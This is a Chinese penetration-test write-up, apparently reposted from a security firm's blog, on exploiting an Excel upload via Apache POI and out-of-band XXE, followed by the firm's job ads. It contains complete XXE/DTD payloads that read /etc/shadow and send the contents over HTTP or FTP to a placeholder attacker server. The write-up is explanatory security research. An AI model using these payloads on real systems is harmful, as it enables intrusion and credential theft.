Apache POI 与 OOB-XXE 组合实战

Posted 雷神众测

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Apache POI 与 OOB-XXE 组合实战相关的知识,希望对你有一定的参考价值。

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

在一次项目中偶然发现了一处excel上传功能,恰巧碰到Apache POI与OOB-XXE两种漏洞同时利用成功的情况,实属幸运,特别将这次渗透过程记录分享给大家,希望给大家启发,不足之处也请指教。

No.1

背景介绍

Apache POI

Excel、Word、pdf上传功能在一些财务、办公、数据分析系统中较为常见,在其他一些需要批量导入数据的系统中也是较为常用的功能。开发人员也大多使用Apache POI 的java类库来解析文件,关于POI的XXE漏洞在目前公开的信息中,有下面的CVE ,CVE-2014-3529、CVE-2016-5000、CVE-2017-5644,其影响版本大多为3.15以前版本,具体信息大家可根据CVE进行查询。

OOB-XXE

OOB-XXE(Out-of-band XML External Entity),全称带外XML外部实体,与很多其他漏洞一样XXE也分为带内和带外。带内XXE攻击更为常见,攻击者可以立即收到对XXE有效负载的响应。对于带外XXE攻击(也称为盲注XXE),Web应用程序不会立即做出响应。

No.2

实战

漏洞探测

1、解压excel

2、编辑 xl/worksheets/sheet1.xml

Apache POI 与 OOB-XXE 组合实战

这里其实也可对xl/workbook.xml进行编辑,由于我已经知道后端主要解析的是sheet1.xml所以我这里直接改了sheet1.xml,这与后端解析实现有关,不固定为该文件。

3、重新打包,进行上传

Apache POI 与 OOB-XXE 组合实战
Apache POI 与 OOB-XXE 组合实战

下图中收到了刚才构造的http请求

Apache POI 与 OOB-XXE 组合实战

OOB环境

目前只是知道了该上传点存在XXE漏洞,但是要扩大漏洞危害,必须要读取到系统上的敏感文件。这时需要用到完整的OOB-XXE环境,我们利用下面的图片来进行完整的说明。

Apache POI 与 OOB-XXE 组合实战

1.攻击者发送XML请求,请求中带有向攻击者服务器引入外部实体DTD文件的内容

2.目标服务器接收到攻击者请求后向攻击者服务器请求DTD文件资源

3.目标服务器接收到引入外部DTD文件中的内容

4.目标服务器开始解析外部DTD文件中读取服务器敏感信息的指令

5.目标服务器将读取到的信息通过例如ftp、http、gopher等协议向攻击者服务器发送请求


XXE攻击

需要利用的是XML协议中的引入外部DTD文件特性,格式如下

 <!DOCTYPE 根元素名称 SYSTEM "dtd文件路径">

由此我们可以引入读取系统文件的DTD文件,进而通过OOB-XXE将敏感信传递出来,如下面的payload,其中ff.dtd即读取系统文件的DTD文件

<!DOCTYPE a [<!ENTITY % asd SYSTEM "http://YOURSERVER/ff.dtd">%asd;%c;]><a>&xxe;</a>

ff.dtd使用HTTP协议时

<!ENTITY % data SYSTEM "file:///etc/shadow"><!ENTITY % all "<!ENTITY xxe SYSTEM 'http://YOURSERVER/p=%data;'>">%all;

启动web服务,让目标服务器来请求我们的ff.dtd文件

Apache POI 与 OOB-XXE 组合实战

然而这里出现一个问题,如下图,服务器响应“Illegal character in URL”,并且我们用于接收信息的监听端也未收到任何请求。

Apache POI 与 OOB-XXE 组合实战

这是因为上述payload直接将数据拼接在URL后面,然而这里会出现两种情况:

1、目标服务器发起的是Get请求,我们都知道Get请求的URL长度是有限制的,一旦我们读取的内容过大就会出现请求异常。

2、在RFC 3986协议中指出,URI中只能包含下面的84个字符,其他字符需要URL编码,否则视为非法字符。

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~:/?#[]@!$&'()*+,;=

显然这次碰到的问题属于第2种问题,我们改读取其他不含非法字符的文件信息,例如 /etc/hostname

如下图,我们的监听端读取到了hostname信息

Apache POI 与 OOB-XXE 组合实战

然而对于xxe来说支持的协议远不止http,还有ftp协议,我们使用国外研究者发布的一个ftp server(https://github.com/ONsec-Lab/scripts)来作为信息读取端。

ff.dtd使用下面的payload,同样还是读取/etc/shadow

<!ENTITY % d SYSTEM "file:///etc/shadow"><!ENTITY % c "<!ENTITY xxe SYSTEM 'ftp://%d;@YOURFTPSERVER/'>">%c;

如下图,在ftp server中读取到了目标服务器发送的shadow文件数据

Apache POI 与 OOB-XXE 组合实战

这里其实作为带外XXE,本不应收到服务器的响应数据,但是这里我也很幸运的收到了服务器的响应,可能与后端实现有关,不同环境可能表现不同的现象。

Apache POI 与 OOB-XXE 组合实战

至此整个利用流程就结束了。本次实战中使用到的漏洞关键还在于POI的解析漏洞,OOB-XXE只能算是一种利用技术,可能有人会疑问我通篇都没有提到如何发现后端使用的是POI解析文件的,这其实是一个小失误,在早期的测试中某个payload引发了一个异常,服务器向前端抛出了一个POI版本相关的错误,奈何当时忘记截图后期再也触发不了了 - -!

No.3

总结

虽然本次实战渗透中利用的漏洞都为较老的漏洞,但是作为不太常见的漏洞如果之前仅是了解或阅读过相关文章,显然不足以证明自己理解该漏洞的利用过程,其中各个环节也有可能出现被卡住的情况,例如前文中对xlsx文件中具体解析的是哪个xml文件,需要耐心尝试,再比如http请求异常的情况也属于未见过的异常。并且本次实战环境是有waf存在的,从整个测试流程下来似乎并没有感觉到WAF的作用,显然在这种带外攻击中,WAF扮演的角色仍然不足以有效识别这种攻击。




招聘

 4.  具备美术功底、懂得设计美化等


简历投递至 strategy@dbappsecurity.com.cn

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽


简历投递至 strategy@dbappsecurity.com.cn

岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/javascript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉mysql、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。


简历投递至 strategy@dbappsecurity.com.cn

安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;


岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。


简历投递至 strategy@dbappsecurity.com.cn


专注渗透测试技术

全球最新网络攻击技术

END

以上是关于Apache POI 与 OOB-XXE 组合实战的主要内容,如果未能解决你的问题,请参考以下文章

Java使用Apache poi 操作Excel-基本概念与使用

Apache POI-HSSF 与 POI-XSSF

POI读取指定Excel中行与列的数据

POI IndexedColors 编码 与 颜色 对照

如何将 Liferay DXP 与 Apache POI 集成?

挖洞经验 | 绕过WAF限制利用php:方法实现OOB-XXE漏洞利用